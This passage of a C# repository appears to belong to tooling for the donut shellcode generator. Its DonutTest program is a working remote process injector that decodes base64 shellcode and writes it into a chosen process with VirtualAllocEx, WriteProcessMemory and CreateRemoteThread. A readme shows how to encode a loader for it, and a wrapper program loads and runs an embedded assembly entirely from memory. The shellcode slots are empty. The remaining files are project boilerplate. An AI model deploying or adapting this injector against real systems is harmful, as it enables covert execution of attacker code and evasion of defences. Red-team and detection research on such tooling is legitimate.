GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {E91D143E-AB90-41D2-942F-D3F1DC8352F3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /wrapper/DonutTest/Program.cs: -------------------------------------------------------------------------------- 1 | /* Author: TheWover 2 | Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls. 3 | Last Modified: 11/1/2018 4 | */ 5 | using System; 6 | using System.Diagnostics; 7 | using System.Runtime.InteropServices; 8 | using System.Threading; 9 | 10 | namespace ShellcodeTest 11 | { 12 | public class Program 13 | { 14 | static string x64 = @""; 15 | static string x86 = @""; 16 | 17 | static int pid = Process.GetCurrentProcess().Id; 18 | 19 | static void Main(string[] args) 20 | { 21 | if (args.Length >= 1) 22 | pid = Convert.ToInt32(args[0]); 23 | 24 | Inject(x86, x64, pid); 25 | Thread.Sleep(100000); // Added sleep to allow assembly to run 26 | } 27 | 28 | [DllImport("kernel32.dll")] 29 | public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); 30 | 31 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 32 | public static extern IntPtr GetModuleHandle(string lpModuleName); 33 | 34 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 35 | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 36 | 37 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 38 | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, 39 | uint dwSize, uint flAllocationType, uint flProtect); 40 | 41 | [DllImport("kernel32.dll")] 42 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, 43 | UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 44 | 45 | [DllImport("kernel32.dll", SetLastError = true)] 46 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); 47 | 48 | [DllImport("kernel32.dll")] 49 | static extern IntPtr CreateRemoteThread(IntPtr hProcess, 50 | IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 51 | 52 | const int PROCESS_CREATE_THREAD = 0x0002; 53 | const int PROCESS_QUERY_INFORMATION = 0x0400; 54 | const int PROCESS_VM_OPERATION = 0x0008; 55 | const int PROCESS_VM_WRITE = 0x0020; 56 | const int PROCESS_VM_READ = 0x0010; 57 | 58 | 59 | const uint MEM_COMMIT = 0x00001000; 60 | const uint MEM_RESERVE = 0x00002000; 61 | const uint PAGE_READWRITE = 4; 62 | const uint PAGE_EXECUTE_READ = 0x20; 63 | const uint PAGE_EXECUTE_READWRITE = 0x40; 64 | 65 | /// 66 | /// Injects shellcode into the target process using CreateRemoteThread, using the correct version for the process's architecture. 67 | /// 68 | /// Base64-encoded x86 shellcode. 69 | /// Base64-encoded x64 shellcode 70 | /// The PID of the target process. 71 | /// 72 | public static int Inject(string x86, string x64, int procPID) 73 | { 74 | 75 | Process targetProcess = Process.GetProcessById(procPID); 76 | Console.WriteLine(targetProcess.Id); 77 | 78 | string s; 79 | 80 | if (IsWow64Process(targetProcess) == true) 81 | { 82 | Console.WriteLine("x86"); 83 | s = x86; 84 | } 85 | else 86 | { 87 | s = x64; 88 | Console.WriteLine("x64"); 89 | } 90 | 91 | byte[] shellcode = Convert.FromBase64String(s); 92 | 93 | IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); 94 | 95 | IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 96 | 97 | UIntPtr bytesWritten; 98 | WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten); 99 | 100 | uint oldProt; 101 | bool prot = VirtualProtectEx(procHandle, allocMemAddress, (UIntPtr)shellcode.Length, PAGE_EXECUTE_READ, out oldProt); // Change if encoding used 102 | Console.WriteLine("Prot: {0}", prot); 103 | 104 | CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero); 105 | 106 | return 0; 107 | } 108 | 109 | [System.Runtime.InteropServices.DllImport("kernel32.dll")] 110 | public static extern bool IsWow64Process(System.IntPtr hProcess, out bool lpSystemInfo); 111 | 112 | /// 113 | /// Checks whether the process is 64-bit. 114 | /// 115 | /// Returns true if process is 64-bit, and false if process is 32-bit. 116 | public static bool IsWow64Process(Process process) 117 | { 118 | bool retVal = false; 119 | IsWow64Process(process.Handle, out retVal); 120 | return retVal; 121 | } 122 | } 123 | } -------------------------------------------------------------------------------- /wrapper/DonutTest/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DonutTest")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DonutTest")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3c9a6b88-bed2-4ba8-964c-77ec29bf1846")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /wrapper/DonutTest/Readme.md: -------------------------------------------------------------------------------- 1 | # DonutTest 2 | 3 | A simple C# shellcode remote injector to use in testing donut. It contains both x86 and x64 versions of the shellcode, determines the architecture of the target process, and then injects the appropriate version into that process with CreateRemoteThread. The shellcode must be Base64-encoded and dropped into the code as a string. This ensures that it can be run entirely from memory. 4 | 5 | You may Base64-encode your shellcode and copy it to your clipboard with the PowerShell below: 6 | 7 | ```powershell 8 | $filename = "C:\\Test\donut\\loader.bin" 9 | [Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip 10 | ``` 11 | 12 | ``` 13 | Usage: 14 | 15 | DonutTest.exe [PID] 16 | 17 | If no PID is specified, then DonutTest will inject the shellcode into itself. 18 | ``` -------------------------------------------------------------------------------- /wrapper/TestAssembly/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /wrapper/TestAssembly/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | namespace assembly 3 | { 4 | class Program 5 | { 6 | static void Main(string[] args) 7 | { 8 | Console.WriteLine("Hello world\r\nArgs:"); 9 | 10 | foreach(string arg in args) 11 | { 12 | Console.Write("{0}\r\n", arg); 13 | } 14 | } 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /wrapper/TestAssembly/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("TestAssembly")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("TestAssembly")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("0bcdb391-cdbb-4838-a807-54555d96a4ed")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /wrapper/TestAssembly/assembly.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {0BCDB391-CDBB-4838-A807-54555D96A4ED} 8 | Exe 9 | assembly 10 | assembly 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | ..\wrapper\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | true 36 | bin\x64\Debug\ 37 | DEBUG;TRACE 38 | full 39 | x64 40 | 7.3 41 | prompt 42 | MinimumRecommendedRules.ruleset 43 | true 44 | 45 | 46 | ..\wrapper\ 47 | TRACE 48 | true 49 | pdbonly 50 | x86 51 | 7.3 52 | prompt 53 | MinimumRecommendedRules.ruleset 54 | true 55 | 56 | 57 | true 58 | bin\x86\Debug\ 59 | DEBUG;TRACE 60 | full 61 | x86 62 | 7.3 63 | prompt 64 | MinimumRecommendedRules.ruleset 65 | true 66 | 67 | 68 | bin\x86\Release\ 69 | TRACE 70 | true 71 | pdbonly 72 | x86 73 | 7.3 74 | prompt 75 | MinimumRecommendedRules.ruleset 76 | true 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /wrapper/wrapper.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30523.141 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "wrapper", "wrapper\wrapper.csproj", "{CE23F3E5-8023-4BCD-A066-6CF6849E7955}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "assembly", "TestAssembly\assembly.csproj", "{0BCDB391-CDBB-4838-A807-54555D96A4ED}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DonutTest", "DonutTest\DonutTest.csproj", "{3C9A6B88-BED2-4BA8-964C-77EC29BF1846}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|Any CPU = Debug|Any CPU 15 | Debug|x64 = Debug|x64 16 | Debug|x86 = Debug|x86 17 | Release|Any CPU = Release|Any CPU 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Debug|x64.ActiveCfg = Debug|x64 25 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Debug|x64.Build.0 = Debug|x64 26 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Debug|x86.ActiveCfg = Debug|x86 27 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Debug|x86.Build.0 = Debug|x86 28 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Release|Any CPU.Build.0 = Release|Any CPU 30 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Release|x64.ActiveCfg = Release|x64 31 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Release|x64.Build.0 = Release|x64 32 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Release|x86.ActiveCfg = Release|x86 33 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955}.Release|x86.Build.0 = Release|x86 34 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 35 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Debug|Any CPU.Build.0 = Debug|Any CPU 36 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Debug|x64.ActiveCfg = Debug|x64 37 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Debug|x64.Build.0 = Debug|x64 38 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Debug|x86.ActiveCfg = Debug|x86 39 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Debug|x86.Build.0 = Debug|x86 40 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Release|Any CPU.ActiveCfg = Release|Any CPU 41 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Release|Any CPU.Build.0 = Release|Any CPU 42 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Release|x64.ActiveCfg = Release|x64 43 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Release|x64.Build.0 = Release|x64 44 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Release|x86.ActiveCfg = Release|x86 45 | {0BCDB391-CDBB-4838-A807-54555D96A4ED}.Release|x86.Build.0 = Release|x86 46 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 47 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|Any CPU.Build.0 = Debug|Any CPU 48 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|x64.ActiveCfg = Debug|Any CPU 49 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|x64.Build.0 = Debug|Any CPU 50 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|x86.ActiveCfg = Debug|Any CPU 51 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|x86.Build.0 = Debug|Any CPU 52 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|Any CPU.ActiveCfg = Release|Any CPU 53 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|Any CPU.Build.0 = Release|Any CPU 54 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|x64.ActiveCfg = Release|Any CPU 55 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|x64.Build.0 = Release|Any CPU 56 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|x86.ActiveCfg = Release|x86 57 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|x86.Build.0 = Release|x86 58 | EndGlobalSection 59 | GlobalSection(SolutionProperties) = preSolution 60 | HideSolutionNode = FALSE 61 | EndGlobalSection 62 | GlobalSection(ExtensibilityGlobals) = postSolution 63 | SolutionGuid = {ED28640D-F6AE-4F0D-88F7-2CA5E1BAA4A9} 64 | EndGlobalSection 65 | EndGlobal 66 | -------------------------------------------------------------------------------- /wrapper/wrapper/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /wrapper/wrapper/Program.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | 3 | namespace wrapper 4 | { 5 | class Program 6 | { 7 | static void Main() 8 | { 9 | string[] Parameters = {/*REPLACEME*/}; 10 | Assembly Target = Assembly.Load(Properties.Resources.assembly); 11 | Target.EntryPoint.Invoke(null, new object[] { Parameters }); 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /wrapper/wrapper/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("wrapper")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("wrapper")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("ce23f3e5-8023-4bcd-a066-6cf6849e7955")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /wrapper/wrapper/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace wrapper.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("wrapper.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Byte[]. 65 | /// 66 | internal static byte[] assembly { 67 | get { 68 | object obj = ResourceManager.GetObject("assembly", resourceCulture); 69 | return ((byte[])(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /wrapper/wrapper/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\assembly.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 123 | 124 | -------------------------------------------------------------------------------- /wrapper/wrapper/wrapper.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {CE23F3E5-8023-4BCD-A066-6CF6849E7955} 8 | Exe 9 | wrapper 10 | wrapper 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | x86 17 | false 18 | none 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | true 25 | 26 | 27 | AnyCPU 28 | none 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | false 35 | 36 | 37 | true 38 | bin\x64\Debug\ 39 | DEBUG;TRACE 40 | full 41 | x64 42 | 7.3 43 | prompt 44 | MinimumRecommendedRules.ruleset 45 | true 46 | 47 | 48 | bin\x64\Release\ 49 | TRACE 50 | true 51 | pdbonly 52 | x64 53 | 7.3 54 | prompt 55 | MinimumRecommendedRules.ruleset 56 | 57 | 58 | true 59 | bin\x86\Debug\ 60 | DEBUG;TRACE 61 | full 62 | x86 63 | 7.3 64 | prompt 65 | MinimumRecommendedRules.ruleset 66 | true 67 | 68 | 69 | bin\x86\Release\ 70 | TRACE 71 | true 72 | pdbonly 73 | x86 74 | 7.3 75 | prompt 76 | MinimumRecommendedRules.ruleset 77 | 78 | 79 | true 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | True 96 | True 97 | Resources.resx 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | ResXFileCodeGenerator 106 | Resources.Designer.cs 107 | 108 | 109 | 110 | 111 | 112 | 113 | --------------------------------------------------------------------------------